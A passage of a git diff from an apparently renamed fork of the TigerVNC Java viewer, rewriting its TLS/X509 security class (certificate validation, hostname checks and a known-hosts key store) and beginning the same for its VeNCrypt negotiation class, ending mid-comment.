File(getDefaultCA()).exists()) - X509CA.setDefaultStr(getDefaultCA()); - if (new File(getDefaultCRL()).exists()) - X509CRL.setDefaultStr(getDefaultCRL()); - } - - public boolean processMsg(CConnection cc) { - is = (FdInStream)cc.getInStream(); - os = (FdOutStream)cc.getOutStream(); - client = cc; - - initGlobal(); - - if (manager == null) { - if (!is.checkNoWait(1)) - return false; - - if (is.readU8() == 0) { - int result = is.readU32(); - String reason; - if (result == Security.secResultFailed || - result == Security.secResultTooMany) - reason = is.readString(); - else - reason = new String("Authentication failure (protocol error)"); - throw new AuthFailureException(reason); - } - - setParam(); - } - - try { - manager = new SSLEngineManager(engine, is, os); - manager.doHandshake(); - } catch(java.lang.Exception e) { - throw new SystemException(e.toString()); - } - - cc.setStreams(new TLSInStream(is, manager), - new TLSOutStream(os, manager)); - return true; - } - - private void setParam() { - - if (anon) { - try { - ctx.init(null, null, null); - } catch(KeyManagementException e) { - throw new AuthFailureException(e.toString()); - } - } else { - try { - TrustManager[] myTM = new TrustManager[] { - new MyX509TrustManager() - }; - ctx.init (null, myTM, null); - } catch (java.security.GeneralSecurityException e) { - throw new AuthFailureException(e.toString()); - } - } - SSLSocketFactory sslfactory = ctx.getSocketFactory(); - engine = ctx.createSSLEngine(client.getServerName(), - client.getServerPort()); - engine.setUseClientMode(true); - - String[] supported = engine.getSupportedProtocols(); - ArrayList enabled = new ArrayList(); - for (int i = 0; i < supported.length; i++) - if (supported[i].matches("TLS.*")) - enabled.add(supported[i]); - engine.setEnabledProtocols(enabled.toArray(new String[0])); - - if (anon) { - supported = engine.getSupportedCipherSuites(); - enabled = new ArrayList(); - // prefer ECDH over DHE - for (int i = 0; i < supported.length; i++) - if (supported[i].matches("TLS_ECDH_anon.*")) - enabled.add(supported[i]); - for (int i = 0; i < supported.length; i++) - if (supported[i].matches("TLS_DH_anon.*")) - enabled.add(supported[i]); - engine.setEnabledCipherSuites(enabled.toArray(new String[0])); - } else { - engine.setEnabledCipherSuites(engine.getSupportedCipherSuites()); - } - - } - - class MyX509TrustManager implements X509TrustManager - { - - X509TrustManager tm; - - MyX509TrustManager() throws java.security.GeneralSecurityException - { - KeyStore ks = KeyStore.getInstance("JKS"); - CertificateFactory cf = CertificateFactory.getInstance("X.509"); - try { - ks.load(null, null); - String a = TrustManagerFactory.getDefaultAlgorithm(); - TrustManagerFactory tmf = TrustManagerFactory.getInstance(a); - tmf.init((KeyStore)null); - for (TrustManager m : tmf.getTrustManagers()) - if (m instanceof X509TrustManager) - for (X509Certificate c : ((X509TrustManager)m).getAcceptedIssuers()) - ks.setCertificateEntry(getThumbprint((X509Certificate)c), c); - File cacert = new File(cafile); - if (cacert.exists() && cacert.canRead()) { - InputStream caStream = new MyFileInputStream(cacert); - Collection cacerts = - cf.generateCertificates(caStream); - for (Certificate cert : cacerts) { - String thumbprint = getThumbprint((X509Certificate)cert); - ks.setCertificateEntry(thumbprint, (X509Certificate)cert); - } - } - PKIXBuilderParameters params = - new PKIXBuilderParameters(ks, new X509CertSelector()); - File crlcert = new File(crlfile); - if (!crlcert.exists() || !crlcert.canRead()) { - params.setRevocationEnabled(false); - } else { - InputStream crlStream = new FileInputStream(crlfile); - Collection crls = cf.generateCRLs(crlStream); - CertStoreParameters csp = new CollectionCertStoreParameters(crls); - CertStore store = CertStore.getInstance("Collection", csp); - params.addCertStore(store); - params.setRevocationEnabled(true); - } - tmf = TrustManagerFactory.getInstance("PKIX"); - tmf.init(new CertPathTrustManagerParameters(params)); - tm = (X509TrustManager)tmf.getTrustManagers()[0]; - } catch (java.lang.Exception e) { - throw new Exception(e.getMessage()); - } - } - - public void checkClientTrusted(X509Certificate[] chain, String authType) - throws CertificateException - { - tm.checkClientTrusted(chain, authType); - } - - private final char[] hexCode = "0123456789ABCDEF".toCharArray(); - - private String printHexBinary(byte[] data) - { - StringBuilder r = new StringBuilder(data.length*2); - for (byte b : data) { - r.append(hexCode[(b >> 4) & 0xF]); - r.append(hexCode[(b & 0xF)]); - } - return r.toString(); - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) - throws CertificateException - { - Collection certs = null; - X509Certificate cert = chain[0]; - String pk = - Base64.getEncoder().encodeToString(cert.getPublicKey().getEncoded()); - try { - cert.checkValidity(); - verifyHostname(cert); - } catch(CertificateParsingException e) { - throw new SystemException(e.getMessage()); - } catch(CertificateNotYetValidException e) { - throw new AuthFailureException("server certificate has not been activated"); - } catch(CertificateExpiredException e) { - if (!msg.showMsgBox(YES_NO_OPTION, "certificate has expired", - "The certificate of the server has expired, "+ - "do you want to continue?")) - throw new AuthFailureException("server certificate has expired"); - } - File vncDir = new File(FileUtils.getVncStateDir()); - if (!vncDir.exists()) { - try { - vncDir.mkdir(); - } catch(SecurityException e) { - throw new AuthFailureException("Could not obtain VNC state directory "+ - "path for known hosts storage"); - } - } - File dbPath = new File(vncDir, "x509_known_hosts"); - String info = - " Subject: "+cert.getSubjectX500Principal().getName()+"\n"+ - " Issuer: "+cert.getIssuerX500Principal().getName()+"\n"+ - " Serial Number: "+cert.getSerialNumber()+"\n"+ - " Version: "+cert.getVersion()+"\n"+ - " Signature Algorithm: "+cert.getPublicKey().getAlgorithm()+"\n"+ - " Not Valid Before: "+cert.getNotBefore()+"\n"+ - " Not Valid After: "+cert.getNotAfter()+"\n"+ - " SHA-1 Fingerprint: "+getThumbprint(cert)+"\n"; - try { - if (dbPath.exists()) { - FileReader db = new FileReader(dbPath); - BufferedReader dbBuf = new BufferedReader(db); - String line; - String server = client.getServerName().toLowerCase(); - while ((line = dbBuf.readLine())!=null) { - String fields[] = line.split("\\|"); - if (fields.length==6) { - if (server.equals(fields[2]) && pk.equals(fields[5])) { - vlog.debug("Server certificate found in known hosts file"); - dbBuf.close(); - return; - } else if (server.equals(fields[2]) && !pk.equals(fields[5]) || - !server.equals(fields[2]) && pk.equals(fields[5])) { - throw new CertStoreException(); - } - } - } - dbBuf.close(); - } - tm.checkServerTrusted(chain, authType); - } catch (IOException e) { - throw new AuthFailureException("Could not load known hosts database"); - } catch (CertStoreException e) { - vlog.debug("Server host key mismatch"); - vlog.debug(info); - String text = - "This host is previously known with a different "+ - "certificate, and the new certificate has been "+ - "signed by an unknown authority\n"+ - "\n"+info+"\n"+ - "Someone could be trying to impersonate the site and you should not continue.\n"+ - "\n"+ - "Do you want to make an exception for this server?"; - if (!msg.showMsgBox(YES_NO_OPTION, "Unexpected certificate issuer", text)) - throw new AuthFailureException("Unexpected certificate issuer"); - store_pubkey(dbPath, client.getServerName().toLowerCase(), pk); - } catch (java.lang.Exception e) { - if (e.getCause() instanceof CertPathBuilderException) { - vlog.debug("Server host not previously known"); - vlog.debug(info); - String text = - "This certificate has been signed by an unknown authority\n"+ - "\n"+info+"\n"+ - "Someone could be trying to impersonate the site and you should not continue.\n"+ - "\n"+ - "Do you want to make an exception for this server?"; - if (!msg.showMsgBox(YES_NO_OPTION, "Unknown certificate issuer", text)) - throw new AuthFailureException("Unknown certificate issuer"); - store_pubkey(dbPath, client.getServerName().toLowerCase(), pk); - } else { - throw new SystemException(e.getMessage()); - } - } - } - - private void store_pubkey(File dbPath, String serverName, String pk) - { - ArrayList lines = new ArrayList(); - try { - if (dbPath.exists()) { - FileReader db = new FileReader(dbPath); - BufferedReader dbBuf = new BufferedReader(db); - String line; - while ((line = dbBuf.readLine())!=null) { - String fields[] = line.split("\\|"); - if (fields.length==6) - if (!serverName.equals(fields[2]) && !pk.equals(fields[5])) - lines.add(line); - } - dbBuf.close(); - } - } catch (IOException e) { - throw new AuthFailureException("Could not load known hosts database"); - } - try { - if (!dbPath.exists()) - dbPath.createNewFile(); - FileWriter fw = new FileWriter(dbPath.getAbsolutePath(), false); - Iterator i = lines.iterator(); - while (i.hasNext()) - fw.write((String)i.next()+"\n"); - fw.write("|g0|"+serverName+"|*|0|"+pk+"\n"); - fw.close(); - } catch (IOException e) { - vlog.error("Failed to store server certificate to known hosts database"); - } - } - - public X509Certificate[] getAcceptedIssuers () - { - return tm.getAcceptedIssuers(); - } - - private String getThumbprint(X509Certificate cert) - { - String thumbprint = null; - try { - MessageDigest md = MessageDigest.getInstance("SHA-1"); - md.update(cert.getEncoded()); - thumbprint = printHexBinary(md.digest()); - thumbprint = thumbprint.replaceAll("..(?!$)", "$0 "); - } catch(CertificateEncodingException e) { - throw new SystemException(e.getMessage()); - } catch(NoSuchAlgorithmException e) { - throw new SystemException(e.getMessage()); - } - return thumbprint; - } - - private void verifyHostname(X509Certificate cert) - throws CertificateParsingException - { - try { - Collection sans = cert.getSubjectAlternativeNames(); - if (sans == null) { - String dn = cert.getSubjectX500Principal().getName(); - LdapName ln = new LdapName(dn); - for (Rdn rdn : ln.getRdns()) { - if (rdn.getType().equalsIgnoreCase("CN")) { - String peer = client.getServerName().toLowerCase(); - if (peer.equals(((String)rdn.getValue()).toLowerCase())) - return; - } - } - } else { - Iterator i = sans.iterator(); - while (i.hasNext()) { - List nxt = (List)i.next(); - if (((Integer)nxt.get(0)).intValue() == 2) { - String peer = client.getServerName().toLowerCase(); - if (peer.equals(((String)nxt.get(1)).toLowerCase())) - return; - } else if (((Integer)nxt.get(0)).intValue() == 7) { - String peer = ((CConn)client).getSocket().getPeerAddress(); - if (peer.equals(((String)nxt.get(1)).toLowerCase())) - return; - } - } - } - Object[] answer = {"YES", "NO"}; - int ret = JOptionPane.showOptionDialog(null, - "Hostname ("+client.getServerName()+") does not match the"+ - " server certificate, do you want to continue?", - "Certificate hostname mismatch", - JOptionPane.YES_NO_OPTION, JOptionPane.WARNING_MESSAGE, - null, answer, answer[0]); - if (ret != JOptionPane.YES_OPTION) - throw new WarningException("Certificate hostname mismatch."); - } catch (CertificateParsingException e) { - throw new SystemException(e.getMessage()); - } catch (InvalidNameException e) { - throw new SystemException(e.getMessage()); - } - } - - private class MyFileInputStream extends InputStream { - // Blank lines in a certificate file will cause Java 6 to throw a - // "DerInputStream.getLength(): lengthTag=127, too big" exception. - ByteBuffer buf; - - public MyFileInputStream(String name) { - this(new File(name)); - } - - public MyFileInputStream(File file) { - StringBuffer sb = new StringBuffer(); - BufferedReader reader = null; - try { - reader = new BufferedReader(new FileReader(file)); - String l; - while ((l = reader.readLine()) != null) { - if (l.trim().length() > 0 ) - sb.append(l+"\n"); - } - } catch (java.lang.Exception e) { - throw new Exception(e.toString()); - } finally { - try { - if (reader != null) - reader.close(); - } catch(IOException ioe) { - throw new Exception(ioe.getMessage()); - } - } - Charset utf8 = Charset.forName("UTF-8"); - buf = ByteBuffer.wrap(sb.toString().getBytes(utf8)); - buf.limit(buf.capacity()); - } - - @Override - public int read(byte[] b) throws IOException { - return this.read(b, 0, b.length); - } - - @Override - public int read(byte[] b, int off, int len) throws IOException { - if (!buf.hasRemaining()) - return -1; - len = Math.min(len, buf.remaining()); - buf.get(b, off, len); - return len; - } - - @Override - public int read() throws IOException { - if (!buf.hasRemaining()) - return -1; - return buf.get() & 0xFF; - } - } - } - - public final int getType() { return anon ? Security.secTypeTLSNone : Security.secTypeX509None; } - public final String description() - { return anon ? "TLS Encryption without VncAuth" : "X509 Encryption without VncAuth"; } - public boolean isSecure() { return !anon; } - - protected CConnection client; - - private SSLContext ctx; - private SSLEngine engine; - private SSLEngineManager manager; - private boolean anon; - - private String cafile, crlfile; - private FdInStream is; - private FdOutStream os; - - static LogWriter vlog = new LogWriter("CSecurityTLS"); -} +/* + * Copyright (C) 2004 Red Hat Inc. + * Copyright (C) 2005 Martin Koegler + * Copyright (C) 2010 m-privacy GmbH + * Copyright (C) 2010 T2SRFBVNC Team + * Copyright (C) 2011-2019 Brian P. Hinz + * Copyright (C) 2015 D. R. Commander. All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, + * USA. + */ + +package com.tigervnc.rfb; + +import javax.net.ssl.*; +import java.security.KeyManagementException; +import java.security.KeyStore; +import java.security.NoSuchAlgorithmException; +import java.security.MessageDigest; +import java.security.cert.*; +import java.io.BufferedReader; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileReader; +import java.io.FileWriter; +import java.io.InputStream; +import java.io.IOException; +import java.nio.ByteBuffer; +import java.nio.charset.Charset; +import java.util.ArrayList; +import java.util.Base64; +import java.util.Collection; +import java.util.Collections; +import java.util.Iterator; +import java.util.List; +import javax.naming.InvalidNameException; +import javax.naming.ldap.LdapName; +import javax.naming.ldap.Rdn; +import javax.net.ssl.HostnameVerifier; +import javax.swing.JOptionPane; + +import com.tigervnc.rdr.*; +import com.tigervnc.network.*; +import com.tigervnc.vncviewer.*; + +import static javax.swing.JOptionPane.*; + +public class CSecurityTLS extends CSecurity { + + public static StringParameter X509CA + = new StringParameter("X509CA", + "X509 CA certificate", "", Configuration.ConfigurationObject.ConfViewer); + public static StringParameter X509CRL + = new StringParameter("X509CRL", + "X509 CRL file", "", Configuration.ConfigurationObject.ConfViewer); + + private void initGlobal() + { + try { + ctx = SSLContext.getInstance("TLS"); + } catch(NoSuchAlgorithmException e) { + throw new Exception(e.toString()); + } + } + + public CSecurityTLS(boolean _anon) + { + anon = _anon; + manager = null; + + setDefaults(); + cafile = X509CA.getData(); + crlfile = X509CRL.getData(); + } + + public static String getDefaultCA() { + if (UserPreferences.get("viewer", "x509ca") != null) + return UserPreferences.get("viewer", "x509ca"); + return FileUtils.getVncConfigDir()+"x509_ca.pem"; + } + + public static String getDefaultCRL() { + if (UserPreferences.get("viewer", "x509crl") != null) + return UserPreferences.get("viewer", "x509crl"); + return FileUtils.getVncConfigDir()+"x509_crl.pem"; + } + + public static void setDefaults() + { + if (new File(getDefaultCA()).exists()) + X509CA.setDefaultStr(getDefaultCA()); + if (new File(getDefaultCRL()).exists()) + X509CRL.setDefaultStr(getDefaultCRL()); + } + + public boolean processMsg(CConnection cc) { + is = (FdInStream)cc.getInStream(); + os = (FdOutStream)cc.getOutStream(); + client = cc; + + initGlobal(); + + if (manager == null) { + if (!is.checkNoWait(1)) + return false; + + if (is.readU8() == 0) { + int result = is.readU32(); + String reason; + if (result == Security.secResultFailed || + result == Security.secResultTooMany) + reason = is.readString(); + else + reason = new String("Authentication failure (protocol error)"); + throw new AuthFailureException(reason); + } + + setParam(); + } + + try { + manager = new SSLEngineManager(engine, is, os); + manager.doHandshake(); + } catch(java.lang.Exception e) { + throw new SystemException(e.toString()); + } + + cc.setStreams(new TLSInStream(is, manager), + new TLSOutStream(os, manager)); + return true; + } + + private void setParam() { + + if (anon) { + try { + ctx.init(null, null, null); + } catch(KeyManagementException e) { + throw new AuthFailureException(e.toString()); + } + } else { + try { + TrustManager[] myTM = new TrustManager[] { + new MyX509TrustManager() + }; + ctx.init (null, myTM, null); + } catch (java.security.GeneralSecurityException e) { + throw new AuthFailureException(e.toString()); + } + } + SSLSocketFactory sslfactory = ctx.getSocketFactory(); + engine = ctx.createSSLEngine(client.getServerName(), + client.getServerPort()); + engine.setUseClientMode(true); + + String[] supported = engine.getSupportedProtocols(); + ArrayList enabled = new ArrayList(); + for (int i = 0; i < supported.length; i++) + if (supported[i].matches("TLS.*")) + enabled.add(supported[i]); + engine.setEnabledProtocols(enabled.toArray(new String[0])); + + if (anon) { + supported = engine.getSupportedCipherSuites(); + enabled = new ArrayList(); + // prefer ECDH over DHE + for (int i = 0; i < supported.length; i++) + if (supported[i].matches("TLS_ECDH_anon.*")) + enabled.add(supported[i]); + for (int i = 0; i < supported.length; i++) + if (supported[i].matches("TLS_DH_anon.*")) + enabled.add(supported[i]); + engine.setEnabledCipherSuites(enabled.toArray(new String[0])); + } else { + engine.setEnabledCipherSuites(engine.getSupportedCipherSuites()); + } + + } + + class MyX509TrustManager implements X509TrustManager + { + + X509TrustManager tm; + + MyX509TrustManager() throws java.security.GeneralSecurityException + { + KeyStore ks = KeyStore.getInstance("JKS"); + CertificateFactory cf = CertificateFactory.getInstance("X.509"); + try { + ks.load(null, null); + String a = TrustManagerFactory.getDefaultAlgorithm(); + TrustManagerFactory tmf = TrustManagerFactory.getInstance(a); + tmf.init((KeyStore)null); + for (TrustManager m : tmf.getTrustManagers()) + if (m instanceof X509TrustManager) + for (X509Certificate c : ((X509TrustManager)m).getAcceptedIssuers()) + ks.setCertificateEntry(getThumbprint((X509Certificate)c), c); + File cacert = new File(cafile); + if (cacert.exists() && cacert.canRead()) { + InputStream caStream = new MyFileInputStream(cacert); + Collection cacerts = + cf.generateCertificates(caStream); + for (Certificate cert : cacerts) { + String thumbprint = getThumbprint((X509Certificate)cert); + ks.setCertificateEntry(thumbprint, (X509Certificate)cert); + } + } + PKIXBuilderParameters params = + new PKIXBuilderParameters(ks, new X509CertSelector()); + File crlcert = new File(crlfile); + if (!crlcert.exists() || !crlcert.canRead()) { + params.setRevocationEnabled(false); + } else { + InputStream crlStream = new FileInputStream(crlfile); + Collection crls = cf.generateCRLs(crlStream); + CertStoreParameters csp = new CollectionCertStoreParameters(crls); + CertStore store = CertStore.getInstance("Collection", csp); + params.addCertStore(store); + params.setRevocationEnabled(true); + } + tmf = TrustManagerFactory.getInstance("PKIX"); + tmf.init(new CertPathTrustManagerParameters(params)); + tm = (X509TrustManager)tmf.getTrustManagers()[0]; + } catch (java.lang.Exception e) { + throw new Exception(e.getMessage()); + } + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) + throws CertificateException + { + tm.checkClientTrusted(chain, authType); + } + + private final char[] hexCode = "0123456789ABCDEF".toCharArray(); + + private String printHexBinary(byte[] data) + { + StringBuilder r = new StringBuilder(data.length*2); + for (byte b : data) { + r.append(hexCode[(b >> 4) & 0xF]); + r.append(hexCode[(b & 0xF)]); + } + return r.toString(); + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) + throws CertificateException + { + Collection certs = null; + X509Certificate cert = chain[0]; + String pk = + Base64.getEncoder().encodeToString(cert.getPublicKey().getEncoded()); + try { + cert.checkValidity(); + verifyHostname(cert); + } catch(CertificateParsingException e) { + throw new SystemException(e.getMessage()); + } catch(CertificateNotYetValidException e) { + throw new AuthFailureException("server certificate has not been activated"); + } catch(CertificateExpiredException e) { + if (!msg.showMsgBox(YES_NO_OPTION, "certificate has expired", + "The certificate of the server has expired, "+ + "do you want to continue?")) + throw new AuthFailureException("server certificate has expired"); + } + File vncDir = new File(FileUtils.getVncStateDir()); + if (!vncDir.exists()) { + try { + vncDir.mkdir(); + } catch(SecurityException e) { + throw new AuthFailureException("Could not obtain VNC state directory "+ + "path for known hosts storage"); + } + } + File dbPath = new File(vncDir, "x509_known_hosts"); + String info = + " Subject: "+cert.getSubjectX500Principal().getName()+"\n"+ + " Issuer: "+cert.getIssuerX500Principal().getName()+"\n"+ + " Serial Number: "+cert.getSerialNumber()+"\n"+ + " Version: "+cert.getVersion()+"\n"+ + " Signature Algorithm: "+cert.getPublicKey().getAlgorithm()+"\n"+ + " Not Valid Before: "+cert.getNotBefore()+"\n"+ + " Not Valid After: "+cert.getNotAfter()+"\n"+ + " SHA-1 Fingerprint: "+getThumbprint(cert)+"\n"; + try { + if (dbPath.exists()) { + FileReader db = new FileReader(dbPath); + BufferedReader dbBuf = new BufferedReader(db); + String line; + String server = client.getServerName().toLowerCase(); + while ((line = dbBuf.readLine())!=null) { + String fields[] = line.split("\\|"); + if (fields.length==6) { + if (server.equals(fields[2]) && pk.equals(fields[5])) { + vlog.debug("Server certificate found in known hosts file"); + dbBuf.close(); + return; + } else if (server.equals(fields[2]) && !pk.equals(fields[5]) || + !server.equals(fields[2]) && pk.equals(fields[5])) { + throw new CertStoreException(); + } + } + } + dbBuf.close(); + } + tm.checkServerTrusted(chain, authType); + } catch (IOException e) { + throw new AuthFailureException("Could not load known hosts database"); + } catch (CertStoreException e) { + vlog.debug("Server host key mismatch"); + vlog.debug(info); + String text = + "This host is previously known with a different "+ + "certificate, and the new certificate has been "+ + "signed by an unknown authority\n"+ + "\n"+info+"\n"+ + "Someone could be trying to impersonate the site and you should not continue.\n"+ + "\n"+ + "Do you want to make an exception for this server?"; + if (!msg.showMsgBox(YES_NO_OPTION, "Unexpected certificate issuer", text)) + throw new AuthFailureException("Unexpected certificate issuer"); + store_pubkey(dbPath, client.getServerName().toLowerCase(), pk); + } catch (java.lang.Exception e) { + if (e.getCause() instanceof CertPathBuilderException) { + vlog.debug("Server host not previously known"); + vlog.debug(info); + String text = + "This certificate has been signed by an unknown authority\n"+ + "\n"+info+"\n"+ + "Someone could be trying to impersonate the site and you should not continue.\n"+ + "\n"+ + "Do you want to make an exception for this server?"; + if (!msg.showMsgBox(YES_NO_OPTION, "Unknown certificate issuer", text)) + throw new AuthFailureException("Unknown certificate issuer"); + store_pubkey(dbPath, client.getServerName().toLowerCase(), pk); + } else { + throw new SystemException(e.getMessage()); + } + } + } + + private void store_pubkey(File dbPath, String serverName, String pk) + { + ArrayList lines = new ArrayList(); + try { + if (dbPath.exists()) { + FileReader db = new FileReader(dbPath); + BufferedReader dbBuf = new BufferedReader(db); + String line; + while ((line = dbBuf.readLine())!=null) { + String fields[] = line.split("\\|"); + if (fields.length==6) + if (!serverName.equals(fields[2]) && !pk.equals(fields[5])) + lines.add(line); + } + dbBuf.close(); + } + } catch (IOException e) { + throw new AuthFailureException("Could not load known hosts database"); + } + try { + if (!dbPath.exists()) + dbPath.createNewFile(); + FileWriter fw = new FileWriter(dbPath.getAbsolutePath(), false); + Iterator i = lines.iterator(); + while (i.hasNext()) + fw.write((String)i.next()+"\n"); + fw.write("|g0|"+serverName+"|*|0|"+pk+"\n"); + fw.close(); + } catch (IOException e) { + vlog.error("Failed to store server certificate to known hosts database"); + } + } + + public X509Certificate[] getAcceptedIssuers () + { + return tm.getAcceptedIssuers(); + } + + private String getThumbprint(X509Certificate cert) + { + String thumbprint = null; + try { + MessageDigest md = MessageDigest.getInstance("SHA-1"); + md.update(cert.getEncoded()); + thumbprint = printHexBinary(md.digest()); + thumbprint = thumbprint.replaceAll("..(?!$)", "$0 "); + } catch(CertificateEncodingException e) { + throw new SystemException(e.getMessage()); + } catch(NoSuchAlgorithmException e) { + throw new SystemException(e.getMessage()); + } + return thumbprint; + } + + private void verifyHostname(X509Certificate cert) + throws CertificateParsingException + { + try { + Collection sans = cert.getSubjectAlternativeNames(); + if (sans == null) { + String dn = cert.getSubjectX500Principal().getName(); + LdapName ln = new LdapName(dn); + for (Rdn rdn : ln.getRdns()) { + if (rdn.getType().equalsIgnoreCase("CN")) { + String peer = client.getServerName().toLowerCase(); + if (peer.equals(((String)rdn.getValue()).toLowerCase())) + return; + } + } + } else { + Iterator i = sans.iterator(); + while (i.hasNext()) { + List nxt = (List)i.next(); + if (((Integer)nxt.get(0)).intValue() == 2) { + String peer = client.getServerName().toLowerCase(); + if (peer.equals(((String)nxt.get(1)).toLowerCase())) + return; + } else if (((Integer)nxt.get(0)).intValue() == 7) { + String peer = ((CConn)client).getSocket().getPeerAddress(); + if (peer.equals(((String)nxt.get(1)).toLowerCase())) + return; + } + } + } + Object[] answer = {"YES", "NO"}; + int ret = JOptionPane.showOptionDialog(null, + "Hostname ("+client.getServerName()+") does not match the"+ + " server certificate, do you want to continue?", + "Certificate hostname mismatch", + JOptionPane.YES_NO_OPTION, JOptionPane.WARNING_MESSAGE, + null, answer, answer[0]); + if (ret != JOptionPane.YES_OPTION) + throw new WarningException("Certificate hostname mismatch."); + } catch (CertificateParsingException e) { + throw new SystemException(e.getMessage()); + } catch (InvalidNameException e) { + throw new SystemException(e.getMessage()); + } + } + + private class MyFileInputStream extends InputStream { + // Blank lines in a certificate file will cause Java 6 to throw a + // "DerInputStream.getLength(): lengthTag=127, too big" exception. + ByteBuffer buf; + + public MyFileInputStream(String name) { + this(new File(name)); + } + + public MyFileInputStream(File file) { + StringBuffer sb = new StringBuffer(); + BufferedReader reader = null; + try { + reader = new BufferedReader(new FileReader(file)); + String l; + while ((l = reader.readLine()) != null) { + if (l.trim().length() > 0 ) + sb.append(l+"\n"); + } + } catch (java.lang.Exception e) { + throw new Exception(e.toString()); + } finally { + try { + if (reader != null) + reader.close(); + } catch(IOException ioe) { + throw new Exception(ioe.getMessage()); + } + } + Charset utf8 = Charset.forName("UTF-8"); + buf = ByteBuffer.wrap(sb.toString().getBytes(utf8)); + buf.limit(buf.capacity()); + } + + @Override + public int read(byte[] b) throws IOException { + return this.read(b, 0, b.length); + } + + @Override + public int read(byte[] b, int off, int len) throws IOException { + if (!buf.hasRemaining()) + return -1; + len = Math.min(len, buf.remaining()); + buf.get(b, off, len); + return len; + } + + @Override + public int read() throws IOException { + if (!buf.hasRemaining()) + return -1; + return buf.get() & 0xFF; + } + } + } + + public final int getType() { return anon ? Security.secTypeTLSNone : Security.secTypeX509None; } + public final String description() + { return anon ? "TLS Encryption without VncAuth" : "X509 Encryption without VncAuth"; } + public boolean isSecure() { return !anon; } + + protected CConnection client; + + private SSLContext ctx; + private SSLEngine engine; + private SSLEngineManager manager; + private boolean anon; + + private String cafile, crlfile; + private FdInStream is; + private FdOutStream os; + + static LogWriter vlog = new LogWriter("CSecurityTLS"); +} diff --git a/T2SRFB/java/com/tigervnc/rfb/CSecurityVeNCrypt.java b/T2SRFB/java/com/tigervnc/rfb/CSecurityVeNCrypt.java index ce0fcf8..f8664cc 100644 --- a/T2SRFB/java/com/tigervnc/rfb/CSecurityVeNCrypt.java +++ b/T2SRFB/java/com/tigervnc/rfb/CSecurityVeNCrypt.java @@ -1,214 +1,214 @@ -/* - * Copyright (C) 2005-2006 Martin Koegler - * Copyright (C) 2006 OCCAM Financial Technology - * Copyright (C) 2010 T2SRFBVNC Team - * Copyright (C) 2011 Brian P. Hinz - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, - * USA. - */ - -package com.tigervnc.rfb; - -import java.util.*; - -import com.tigervnc.rdr.*; - -public class CSecurityVeNCrypt extends CSecurity { - - public CSecurityVeNCrypt(SecurityClient sec) - { - haveRecvdMajorVersion = false; - haveRecvdMinorVersion = false; - haveSentVersion = false; - haveAgreedVersion = false; - haveListOfTypes = false; - haveNumberOfTypes = false; - haveChosenType = false; - majorVersion = 0; - minorVersion = 0; - chosenType = Security.secTypeVeNCrypt; - nAvailableTypes = 0; - availableTypes = null; - iAvailableType = 0; - security = sec; - } - - public boolean processMsg(CConnection cc) { - InStream is = cc.getInStream(); - OutStream os = cc.getOutStream(); - - /* get major, minor versions, send what we can support (or 0.0 for can't support it) */ - if (!haveRecvdMajorVersion) { - majorVersion = is.readU8(); - haveRecvdMajorVersion = true; - - return false; - } - - if (!haveRecvdMinorVersion) { - minorVersion = is.readU8(); - haveRecvdMinorVersion = true; - } - - /* major version in upper 8 bits and minor version in lower 8 bits */ - int Version = (majorVersion << 8) | minorVersion; - - if (!haveSentVersion) { - /* Currently we don't support former VeNCrypt 0.1 */ - if (Version >= 0x0002) { - majorVersion = 0; - minorVersion = 2; - os.writeU8(majorVersion); - os.writeU8(minorVersion); - os.flush(); - } else { - /* Send 0.0 to indicate no support */ - majorVersion = 0; - minorVersion = 0; - os.writeU8(majorVersion); - os.writeU8(minorVersion); - os.flush(); - throw new Exception("Server reported an unsupported VeNCrypt version"); - } - - haveSentVersion = true; - return false; - } - - /* Check that the server is OK */ - if (!haveAgreedVersion) { - if (is.readU8() != 0) - throw new Exception("Server reported it could not support the VeNCrypt version"); - - haveAgreedVersion = true; - return false; - } - - /* get a number of types */ - if (!haveNumberOfTypes) { - nAvailableTypes = is.readU8(); - iAvailableType = 0; - - if (nAvailableTypes <= 0) - throw new Exception("The server reported no VeNCrypt sub-types"); - - availableTypes = new int[nAvailableTypes]; - haveNumberOfTypes = true; - return false; - } - - if (nAvailableTypes > 0) { - /* read in the types possible */ - if (!haveListOfTypes) { - if (is.checkNoWait(4)) { - availableTypes[iAvailableType++] = is.readU32(); - haveListOfTypes = (iAvailableType >= nAvailableTypes); - vlog.debug("Server offers security type "+ - Security.secTypeName(availableTypes[iAvailableType - 1])+" ("+ - availableTypes[iAvailableType - 1]+")"); - - if (!haveListOfTypes) - return false; - - } else - return false; - } - - /* make a choice and send it to the server, meanwhile set up the stack */ - if (!haveChosenType) { - chosenType = Security.secTypeInvalid; - int i; - Iterator j; - List secTypes = new ArrayList(); - - secTypes = security.GetEnabledExtSecTypes(); - - /* Honor server's security type order */ - for (i = 0; i < nAvailableTypes; i++) { - for (j = secTypes.iterator(); j.hasNext(); ) { - int refType = (Integer)j.next(); - if (refType == availableTypes[i]) { - chosenType = refType; - break; - } - } - - if (chosenType != Security.secTypeInvalid) - break; - } - - vlog.debug("Choosing security type "+Security.secTypeName(chosenType)+ - " ("+chosenType+")"); - - /* Set up the stack according to the chosen type: */ - if (chosenType == Security.secTypeInvalid || chosenType == Security.secTypeVeNCrypt) - throw new AuthFailureException("No valid VeNCrypt sub-type"); - - csecurity = security.GetCSecurity(chosenType); - - /* send chosen type to server */ - os.writeU32(chosenType); - os.flush(); - - haveChosenType = true; - } - } else { - /* - * Server told us 